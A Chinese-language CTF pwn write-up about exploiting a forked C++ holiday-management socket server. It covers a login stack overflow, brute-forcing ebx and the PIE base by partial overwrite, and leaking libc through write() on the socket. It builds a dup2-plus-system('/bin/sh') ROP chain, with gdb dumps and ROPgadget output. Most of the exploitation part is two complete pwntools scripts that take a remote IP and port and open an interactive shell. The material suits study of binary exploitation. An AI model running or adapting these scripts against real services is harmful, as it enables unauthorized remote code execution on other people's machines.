Fork 调试+ Partial overwrite bypass PIE+ Leak Libc + Dup2 ROP 小记 2021-06-27 12:29:30 Steven Xeldax # 目录 [TOC] # Fork 调试+ Partial overwrite bypass PIE+ Leak Libc + Dup2 ROP 小记 > 本文是针对一道pwn题目来记录针对fork程序的调试,通过partial overwrite来泄露程序加载基地址来bypass PIE,常规libc库泄露方法,dup2 ROP知识点的一些记录,题目本身是c++编写的,以为是基于c++类的pwn,此外题目本身还有整数溢出和 std::copy 的越界写,但这些漏洞点实际上最终都是没有办法达到RCE的效果大,但作为漏洞学习样例还是值得研究的。 ## 漏洞分析 这道题没有给二进制让逆向而是通过某种途径泄露了源码,源码结构如下: ![](/download/d4e37eee-e395-4085-b027-a4675c51fc63.png) 看下main函数知道重点需要分析handleClient ![](/download/44d70540-0abc-40f5-ad89-f9842ba47895.png) handleClient首先调用login函数进行一个登陆的处理,然后就是进入到一个员工假期请假管理的功能模块。 ![](/download/a6a9eeb9-68ba-4c5d-9aca-37ef8eaa61bd.png) 进入到login函数这边有一个溢出点,主要是buffer_user发生了溢出,一开始认为这边的溢出是没有用的,原因是buffer_user的定义在前面最大长度是由200,后面还有buffer_output和buffer_password,不可能覆盖完buffer_password,但其实在栈空间上buffer_user反而在下方。 ![](/download/b6b6cf9c-c5c7-41c3-a779-6c23a8206497.png) ``` int login(int sock){ char buffer_user[10]; char buffer_output[10]; char buffer_password[200]; unsigned short buffersize_password=200; unsigned short buffersize_user=10; // int buffersize_ausgabe=10; ``` 我以为的内存布局实际上是相反的: ![](/download/1434c3f0-d9a7-418d-ac16-f75690c639a9.png) 来到这to_write_size+written_char会有一个int的整数溢出 ![](/download/0e176597-d07d-4195-bd1a-ea1c8871d014.png) 如果add reason 加的buffer接近了int,那么在调用打印sick reason的时候会发生越界复制,但会因为出发sickday_reason.copy引发内部double free。 ![](/download/2c3a67e7-8262-4966-aae5-80d71f82004c.png) ![](/download/ef886932-4c82-4af9-b907-af036c872c95.png) 我们可以单独拉出来调试下 ![](/download/2090f3f3-ea8b-4977-a5da-c5d6c16b9e04.png) 可以看到是无法出发漏洞的malloc(): corrupted top size ![](/download/19a6ccf3-162e-47c1-a935-e5667e6a2084.png) ## 漏洞利用 目标给的makefile如下: ``` # WARNING: Makefiles have to be indented using only tabs - it does _not_ work with spaces all: g++ -std=c++0x -fno-stack-protector -z execstack -g -o urlaubsverwaltung *.cpp; clean: shred -u urlaubsverwaltung install: mkdir -p /opt/urlaubsverwaltung/ cp ./urlaubsverwaltung /opt/urlaubsverwaltung/ cp ./Mitarbeiter.txt /opt/urlaubsverwaltung/ ``` 那么利用思路如下: 1. 获取程序基地址来绕过PIE 2. 泄露Libc基地址来绕过Alsr 3. 通过泄露基地址获取libc版本 4. 计算system sh 的偏移,由于这一题是socket server的所以直接system(/bin/bash)是收不到回显的,要利用dup2把标准输入输出重定向到socket。 ### 调试带有fork的程序 可以参考 ``` https://blog.csdn.net/tuzhutuzhu/article/details/23705485?utm_source=tuicool&utm_medium=referral http://c.biancheng.net/view/8274.html ``` 主要使用命令 > set follow-fork-mode child ![](/download/53095278-d679-4515-85b4-e4b05535d141.png) ### 确定溢出长度 首先弄一个正常的输入看下内存布局 ![](/download/0201dc42-5544-4c17-9020-9e8661006bb2.png) ``` gdb-peda$ stack 500 0000| 0xffffcdd0 --> 0x0 0004| 0xffffcdd4 --> 0x0 0008| 0xffffcdd8 --> 0x1000000 0012| 0xffffcddc --> 0x1000000 0016| 0xffffcde0 --> 0xa61 ('a\n') 0020| 0xffffcde4 --> 0x0 0024| 0xffffcde8 --> 0x0 0028| 0xffffcdec --> 0x0 0032| 0xffffcdf0 --> 0x0 0036| 0xffffcdf4 --> 0x0 0040| 0xffffcdf8 --> 0x0 0044| 0xffffcdfc --> 0x0 0048| 0xffffce00 --> 0x0 0052| 0xffffce04 --> 0x0 0056| 0xffffce08 --> 0x0 0060| 0xffffce0c --> 0x0 0064| 0xffffce10 --> 0x0 0068| 0xffffce14 --> 0x0 0072| 0xffffce18 --> 0x0 0076| 0xffffce1c --> 0x0 0080| 0xffffce20 --> 0x0 0084| 0xffffce24 --> 0x0 0088| 0xffffce28 --> 0x0 0092| 0xffffce2c --> 0x0 0096| 0xffffce30 --> 0x0 --More--(25/500) 0100| 0xffffce34 --> 0x0 0104| 0xffffce38 --> 0x0 0108| 0xffffce3c --> 0x0 0112| 0xffffce40 --> 0x0 0116| 0xffffce44 --> 0x0 0120| 0xffffce48 --> 0x0 0124| 0xffffce4c --> 0x0 0128| 0xffffce50 --> 0x0 0132| 0xffffce54 --> 0x0 0136| 0xffffce58 --> 0x0 0140| 0xffffce5c --> 0x0 0144| 0xffffce60 --> 0x0 0148| 0xffffce64 --> 0x0 0152| 0xffffce68 --> 0x0 0156| 0xffffce6c --> 0x0 0160| 0xffffce70 --> 0x0 0164| 0xffffce74 --> 0x0 0168| 0xffffce78 --> 0x0 0172| 0xffffce7c --> 0x0 0176| 0xffffce80 --> 0x0 0180| 0xffffce84 --> 0x0 0184| 0xffffce88 --> 0x0 0188| 0xffffce8c --> 0x0 0192| 0xffffce90 --> 0x0 0196| 0xffffce94 --> 0x0 --More--(50/500) 0200| 0xffffce98 --> 0x0 0204| 0xffffce9c --> 0x0 0208| 0xffffcea0 --> 0x0 0212| 0xffffcea4 --> 0x0 0216| 0xffffcea8 --> 0xa61 ('a\n') 0220| 0xffffceac --> 0xcd000 0224| 0xffffceb0 --> 0xa61c528 0228| 0xffffceb4 --> 0x0 0232| 0xffffceb8 --> 0x0 0236| 0xffffcebc --> 0xffffcec4 ("admin") 0240| 0xffffcec0 --> 0x5 0244| 0xffffcec4 ("admin") 0248| 0xffffcec8 --> 0x10006e 0252| 0xffffcecc --> 0x101a20 0256| 0xffffced0 --> 0xcd000 0260| 0xffffced4 --> 0x1 0264| 0xffffced8 --> 0x102000 0268| 0xffffcedc --> 0x104000 0272| 0xffffcee0 --> 0x103068 0276| 0xffffcee4 --> 0x103070 0280| 0xffffcee8 --> 0x101000 0284| 0xffffceec --> 0x3 0288| 0xffffcef0 --> 0x27e 0292| 0xffffcef4 --> 0xffffcefc ("paul") 0296| 0xffffcef8 --> 0x4 --More--(75/500) 0300| 0xffffcefc ("paul") 0304| 0xffffcf00 --> 0xf7ffd000 --> 0x29f3c 0308| 0xffffcf04 --> 0xf7fcb9b0 --> 0xf7ac5000 --> 0x464c457f 0312| 0xffffcf08 --> 0x0 0316| 0xffffcf0c --> 0xf7fdf658 (mov edx,DWORD PTR [esp+0x10]) 0320| 0xffffcf10 --> 0xf7fcbc30 ("/lib/i386-linux-gnu") 0324| 0xffffcf14 --> 0xf7fcb990 ("/lib/i386-linux-gnu/libm.so.6") 0328| 0xffffcf18 --> 0x1e 0332| 0xffffcf1c --> 0xf7fed59c (add ebx,0xfa64) 0336| 0xffffcf20 --> 0xf7fcbc30 ("/lib/i386-linux-gnu") 0340| 0xffffcf24 --> 0x1d 0344| 0xffffcf28 --> 0x2f ('/') 0348| 0xffffcf2c --> 0xc8000a 0352| 0xffffcf30 --> 0xf7ffd55c --> 0x0 0356| 0xffffcf34 --> 0xf7fcb6d0 ("/lib/i386-linux-gnu/libc.so.6") 0360| 0xffffcf38 --> 0xf7fdf3d9 (add ebx,0x1dc27) 0364| 0xffffcf3c --> 0x56562000 --> 0xcedc 0368| 0xffffcf40 --> 0x56562000 --> 0xcedc 0372| 0xffffcf44 --> 0xf7dae000 --> 0x1e4d6c 0376| 0xffffcf48 --> 0xffffdb28 --> 0xffffdb98 --> 0x0 0380| 0xffffcf4c --> 0x56558074 (<_Z12handleClienti+36>: add esp,0x10) 0384| 0xffffcf50 --> 0x4 0388| 0xffffcf54 --> 0xf7fcb9b0 --> 0xf7ac5000 --> 0x464c457f 0392| 0xffffcf58 --> 0xffffd058 --> 0x0 0396| 0xffffcf5c --> 0x56558061 (<_Z12handleClienti+17>: add esi,0x9f9f) --More--(100/500) 0400| 0xffffcf60 --> 0xf7ffd55c --> 0x0 0404| 0xffffcf64 --> 0x0 0408| 0xffffcf68 --> 0xffffcfe0 --> 0x801 0412| 0xffffcf6c --> 0x54 ('T') 0416| 0xffffcf70 --> 0x0 0420| 0xffffcf74 --> 0x0 0424| 0xffffcf78 --> 0x3ffff3a4 ``` Ebp 是 0xffffcf48,输入点是0xffffceb0,总计长度152。 ![](/download/2d500abc-e9ff-4821-8a59-4c207271ee72.png) 这边有一个坑,很坑。 在login的最后有四个pop,其中ebx,esi很关键,如果数据变动了会导致libc不可用。 ![](/download/943a24d4-18f1-4236-a6c2-80ebd029c7cc.png) ![](/download/05ade117-a063-4ba6-b380-a6233a6dffe7.png) 因此爆破需要爆破一下ebx和eip两个 ### bypass PIE ``` PIE是对代码段、数据段进行地址随机化,但是最终决定是否随机化的靠看ASLR,如果ASLR是关闭的,那么就算开启了PIE也不会进行地址随机化。 开启了PIE后,在IDA里看到的就是偏移地址,真实地址需要code base address + offset得到。 ``` bypass PIE的办法主要有 link泄露,partial overwrite, ret2dlresolv #### 爆破ebx 我们利用小端每次从低位开始覆盖,所以可以逐级爆破 ``` print("[Step 1]Brute Force the ebx") def brute_the_ebx(): # example : 0x56562000 padding = b"a" * (num_of_overload + 4) # overload esi low_handle_client_addr = b"\x00" for j in [b"\x10", b"\x20", b"\x30", b"\x40", b"\x50", b"\x60", b"\x70", b"\x80", b"\x90", b"\xa0", b"\xb0", b"\xc0", b"\xd0", b"\xe0", b"\xf0"]: sh = remote(remote_ip,remote_addr) payload = padding + low_handle_client_addr + j try: print("=========================================================================================") sh.recvuntil('Login - Username') sh.send(payload) sh.sendline(b"password") ret = sh.recvuntil('Anmeldung',timeout = 1) if str(ret).find('Anmeldung') != -1: print("[+] brute success: ",j) low_handle_client_addr = low_handle_client_addr + j break except Exception as e: print(e) finally: sh.close() for _ in range(2): for j in range(0, 256): print(j) sh = remote(remote_ip,remote_addr) payload = padding + low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) try: print("=========================================================================================") #sh.recvuntil('Login - Username') sh.recvuntil('> ') print(low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2))) sh.send(payload) sh.recvuntil('> ') sh.sendline(b"password") try: ret = sh.recvuntil('Anmeldung',timeout=1) except: print(sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline()+sh.recvline()) exit(1) # ret = sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() print(ret) if str(ret).find('Anmeldung') != -1: print("[+] brute success: ",j) low_handle_client_addr = low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) break except Exception as e: print(e) finally: sh.close() ebx_base = u32(low_handle_client_addr) print("ebx_base: ",low_handle_client_addr, hex(ebx_base)) return ebx_base ``` #### 爆破eip 思路是把eip指针重新指向到login函数入口,如果爆破成功就能重新显示登陆界面。 ``` def brute_the_code_base(): # example : 0x56562000 padding = b"a" * num_of_overload # overload esi low_handle_client_addr = b"\x6f" # login_func + <+31> low_handle_client_addr = b"\x1e" # login_func + <+31> for _ in range(3): for j in range(0, 256): print(j) sh = remote(remote_ip,remote_addr) """ .text:00002E55 pop ebx .text:00002E56 pop esi .text:00002E57 pop edi .text:00002E58 pop ebp .text:00002E59 retn """ payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" + low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) #5656b000 # 5656E16C #payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" + p32(0x5656E16C) ##payload = padding + p32(0x56562000) + p32(0x56562000) + b"ccccdddd" + p32(0x5655806f) # call login #payload = padding + p32(0x56562000) + p32(0x56562000) + b"ccccdddd" + p32(0x5655806f) # call login #print(payload) try: print("=========================================================================================") #sh.recvuntil('Login - Username') sh.recvuntil('> ') sh.send(payload) sh.recvuntil('> ') sh.sendline(b"password") try: ret = sh.recvuntil('HOLIDAY-CAT') except: print(sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline()+sh.recvline()) # ret = sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() print(ret) if str(ret).find('HOLIDAY-CAT') != -1: print("[+] brute success: ",j) low_handle_client_addr = low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) break except Exception as e: import traceback traceback.print_exc() print('-----------') print(e) finally: sh.close() code_base = u32(low_handle_client_addr) - 0x306f # 0x56558050 -0x56555000 3050 print("code_base: ",low_handle_client_addr, hex(code_base)) return code_base ``` ### leak libc 利用login函数内的write函数将libc地址写入到sock中,由于调试发现sock默认都是4,所以固定把fd参数写为4就ok ![](/download/22c1c0ad-2a85-4516-82b7-4c7088864f8e.png) ### dup2 System ROP 由于我们需要重定向输入输出加上system本身的调用,所以需要执行三次ROP,dup2的参数是两个,所以我们需要寻找两个pop pop ret > ROPgadget --binary xxxx --only 'pop|pop|ret' ``` root@kali:~/Documents/c++pwn# ROPgadget --binary ./urlaubsverwaltung --only 'pop|pop|ret' Gadgets information ============================================================ 0x000027c2 : pop ebp ; ret 0x0000923a : pop ebp ; ret 4 0x000027c0 : pop ebx ; pop esi ; pop ebp ; ret 0x00002e55 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00009237 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x0000201e : pop ebx ; ret 0x00002e57 : pop edi ; pop ebp ; ret 0x00009239 : pop edi ; pop ebp ; ret 4 0x000027c1 : pop esi ; pop ebp ; ret 0x00002e56 : pop esi ; pop edi ; pop ebp ; ret 0x00009238 : pop esi ; pop edi ; pop ebp ; ret 4 0x0000200a : ret 0x00009476 : ret 0x3b8b 0x00009450 : ret 0x3bb1 0x000026ac : ret 0x458b 0x000091ea : ret 0x458d 0x0000573e : ret 0x8c0f 0x00002556 : ret 0xaaab 0x00002516 : ret 0xaaeb 0x000029f8 : ret 0xb70f 0x000064fe : ret 0xd089 0x000026f1 : ret 0xec83 0x0000605a : ret 0xffc3 0x00005ee6 : ret 0xffff 0x0000905f : ret 4 ``` 最后的ROP 为 > payload = payload + p32(dup2_adddr) + p32(pop_pop_ret) + p32(4) + p32(1) + p32(dup2_adddr) + p32(pop_pop_ret) + p32(4) + p32(0) + p32(system_libc_add) + p32(0) + p32(bin_sh_str_addr) ## 附录 ### PIE版本 在开启了pie,alsr,NX(不开启canary)情况下的脚本如下 ``` #! coding:utf-8 from pwn import * context.log_level = 'debug' import time import sys import binascii remote_ip = str(sys.argv[1]) remote_addr = sys.argv[2] # 不同系统溢出长度不同,修改 num_of_overload = 138 # kali num_of_overload = 74 - 4 * 4 # debain 8 # elf = ELF('./pwn') # kali elf = ELF('./debain8_pwn') # debain libc_got_addr = elf.got["__libc_start_main"] libc_plt_addr = elf.plt["__libc_start_main"] print(libc_got_addr,libc_plt_addr) ebx_base = 0 code_base = 0 padding = b"a" * num_of_overload ## print("[Step 1]Brute Force the ebx") def brute_the_ebx(): # example : 0x56562000 padding = b"a" * (num_of_overload + 4) # overload esi low_handle_client_addr = b"\x00" for j in [b"\x10", b"\x20", b"\x30", b"\x40", b"\x50", b"\x60", b"\x70", b"\x80", b"\x90", b"\xa0", b"\xb0", b"\xc0", b"\xd0", b"\xe0", b"\xf0"]: sh = remote(remote_ip,remote_addr) payload = padding + low_handle_client_addr + j try: print("=========================================================================================") sh.recvuntil('Login - Username') sh.send(payload) sh.sendline(b"password") ret = sh.recvuntil('Anmeldung',timeout = 1) if str(ret).find('Anmeldung') != -1: print("[+] brute success: ",j) low_handle_client_addr = low_handle_client_addr + j break except Exception as e: print(e) finally: sh.close() for _ in range(2): for j in range(0, 256): print(j) sh = remote(remote_ip,remote_addr) payload = padding + low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) try: print("=========================================================================================") #sh.recvuntil('Login - Username') sh.recvuntil('> ') print(low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2))) sh.send(payload) sh.recvuntil('> ') sh.sendline(b"password") try: ret = sh.recvuntil('Anmeldung',timeout=1) except: print(sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline()+sh.recvline()) exit(1) # ret = sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() print(ret) if str(ret).find('Anmeldung') != -1: print("[+] brute success: ",j) low_handle_client_addr = low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) break except Exception as e: print(e) finally: sh.close() ebx_base = u32(low_handle_client_addr) print("ebx_base: ",low_handle_client_addr, hex(ebx_base)) return ebx_base ebx_base = 0x0 # ebx_base = brute_the_ebx() # exit() print("[Step 2]Brute Force the PIE Base Address") def brute_the_code_base(): # example : 0x56562000 padding = b"a" * num_of_overload # overload esi low_handle_client_addr = b"\x6f" # login_func + <+31> low_handle_client_addr = b"\x1e" # login_func + <+31> for _ in range(3): for j in range(0, 256): print(j) sh = remote(remote_ip,remote_addr) """ .text:00002E55 pop ebx .text:00002E56 pop esi .text:00002E57 pop edi .text:00002E58 pop ebp .text:00002E59 retn """ payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" + low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) #5656b000 # 5656E16C #payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" + p32(0x5656E16C) ##payload = padding + p32(0x56562000) + p32(0x56562000) + b"ccccdddd" + p32(0x5655806f) # call login #payload = padding + p32(0x56562000) + p32(0x56562000) + b"ccccdddd" + p32(0x5655806f) # call login #print(payload) try: print("=========================================================================================") #sh.recvuntil('Login - Username') sh.recvuntil('> ') sh.send(payload) sh.recvuntil('> ') sh.sendline(b"password") try: ret = sh.recvuntil('HOLIDAY-CAT') except: print(sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline()+sh.recvline()) # ret = sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() + sh.recvline() print(ret) if str(ret).find('HOLIDAY-CAT') != -1: print("[+] brute success: ",j) low_handle_client_addr = low_handle_client_addr + binascii.a2b_hex(hex(j).replace('0x','').zfill(2)) break except Exception as e: import traceback traceback.print_exc() print('-----------') print(e) finally: sh.close() code_base = u32(low_handle_client_addr) - 0x306f # 0x56558050 -0x56555000 3050 print("code_base: ",low_handle_client_addr, hex(code_base)) return code_base code_base = 0x08048000 # code_base = brute_the_code_base() # exit() print("[+++]",hex(ebx_base),hex(code_base)) print("[Step 3]Use Write Sock Leak the __libc_start_main GOT data") def leak_libc_start_main(): # 0x565576ec - 0x56555000 # sh = remote(remote_ip,remote_addr) write_with_eip = 0x26EC + 102 + code_base libc_start_main = code_base + libc_got_addr payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" + p32(write_with_eip) + p32(0x4) + p32(libc_start_main) + p32(4) print(sh.recvuntil('> ')) sh.send(payload) sh.recvuntil('> ') sh.sendline(b"password") ret = u32(sh.recv(4)) print(hex(ret)) return ret temoff = leak_libc_start_main() # exit() # temoff = 0xf7b37d40 print("[Step 4]Use LibcSearch Calc the libc version") libc_base = temoff - 0x01ed40 # F7BC9000 print("[Step 5]Ret2Libc GetShell") def get_shell(): sh = remote(remote_ip,remote_addr) pop_pop_ret = code_base + 0x000026e9 bin_sh_str_addr = libc_base + 0x18c33c system_libc_add = libc_base + 0x045040 dup2_adddr = libc_base + 0x000f2be0 payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" payload = payload + p32(dup2_adddr) + p32(pop_pop_ret) + p32(4) + p32(1) + p32(dup2_adddr) + p32(pop_pop_ret) + p32(4) + p32(0) + p32(system_libc_add) + p32(0) + p32(bin_sh_str_addr) sh.send(payload) sh.interactive() get_shell() exit() ``` ### 目标final writeup Debian8 目标机器版本 ``` #! coding:utf-8 from pwn import * context.log_level = 'debug' import time import sys import binascii remote_ip = str(sys.argv[1]) remote_addr = sys.argv[2] # 不同系统溢出长度不同,修改 num_of_overload = 138 # kali num_of_overload = 74 - 4 * 4 # debain 8 # elf = ELF('./pwn') # kali elf = ELF('./debain8_pwn') # debain libc_got_addr = elf.got["__libc_start_main"] libc_plt_addr = elf.plt["__libc_start_main"] print(hex(libc_got_addr),hex(libc_plt_addr)) # exit() ebx_base = 0 code_base = 0 padding = b"a" * num_of_overload ## code_base = 0x08048000 # code_base = brute_the_code_base() # exit() print("[+++]",hex(ebx_base),hex(code_base)) print("[Step 3]Use Write Sock Leak the __libc_start_main GOT data") def leak_libc_start_main(): # 0x565576ec - 0x56555000 # code_base = 0 sh = remote(remote_ip,remote_addr) write_with_eip = 0x26EC + 102 + code_base write_with_eip = 0x08049872 libc_start_main = code_base + libc_got_addr payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" + p32(write_with_eip) + p32(0x4) + p32(libc_start_main) + p32(4) payload = b'a' *70 + p32(write_with_eip)+p32(write_with_eip) + p32(0x4) + p32(libc_start_main) + p32(4) print(sh.recvuntil('> ')) sh.send(payload) sh.recvuntil('> ') sh.sendline(b"password") ret = u32(sh.recv(4)) print(hex(ret)) return ret temoff = leak_libc_start_main() # exit() # temoff = 0xf7b37d40 print("[Step 4]Use LibcSearch Calc the libc version") libc_base = temoff - 0x019970 # F7BC9000 print("[Step 5]Ret2Libc GetShell") def get_shell(): sh = remote(remote_ip,remote_addr) pop_pop_ret = 0x08049df5 bin_sh_str_addr = libc_base + 0x15f551 system_libc_add = libc_base + 0x03e3e0 dup2_adddr = libc_base + 0xdc600 payload = padding + p32(ebx_base) + p32(ebx_base) + b"ccccdddd" payload = payload + p32(dup2_adddr) + p32(pop_pop_ret) + p32(4) + p32(1) + p32(dup2_adddr) + p32(pop_pop_ret) + p32(4) + p32(0) + p32(system_libc_add) + p32(0) + p32(bin_sh_str_addr) sh.send(payload) sh.interactive() get_shell() exit() ``` 此外这类技巧都是很模板化的在练习的过程中发现了类似的文章可以在阅读本文的基础上做扩展学习: https://delcoding.github.io/2018/11/pie-bypass-overwrite-dup2/ https://zoepla.github.io/2018/07/_pie_%E7%88%86%E7%A0%B4ebx+dup2/